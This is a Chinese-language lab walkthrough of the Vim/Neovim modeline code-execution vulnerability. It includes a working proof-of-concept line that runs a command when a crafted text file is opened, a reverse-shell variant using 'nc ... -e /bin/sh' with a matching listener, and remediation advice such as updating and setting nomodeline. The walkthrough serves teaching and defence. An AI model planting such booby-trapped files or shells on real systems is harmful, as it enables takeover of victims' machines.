Vim任意代码执行漏洞 实验
实验目的
- Vim通过Modelines执行任意代码
实验原理
在8.1.1365之前的Vim和在0.3.6之前的Neovim很容易通过打开特制的文本文件而通过模型执行任意代码,允许远程攻击者通过:source执行任意操作系统命令!
实验环境
1.操作系统
操作机1:kali
用户:root
密码:123456
影响版本
Vim 8.1.1365 与 Neovim 0.3.6 之前的所有版本
实验步骤
步骤1:检查vim版本
1.1.打开终端输入"vim"查看vim版本
图1
1.2.确保modeline选项未禁用,
vim /usr/share/vim/vimrc
set modeline
图2
步骤2:创建并执行poc
2.1.创建poc.txt,内容如下
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
图3
2.2.用vim打开poc.txt,可以看到vim在打开poc.txt的时候执行了uname -a命令
图4
2.3.创建反弹shell,将之前的uname –a 更换为nc 127.0.0.1 9999 –e /bin/sh
:!nc 127.0.0.1 9999 -e /bin/sh||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
图5
2.4.打开另一个终端
nc -lvp 9999
图6
2.5.使用vim打开shell.txt后反弹shell
图7
步骤3:漏洞修复
3.1.修复建议
1.更新vim到最新版本
2.禁用编辑器的 modeline功能,把set modeline 改为set nomodeline
3.利用vim编辑的时候,查看文件来源是否正规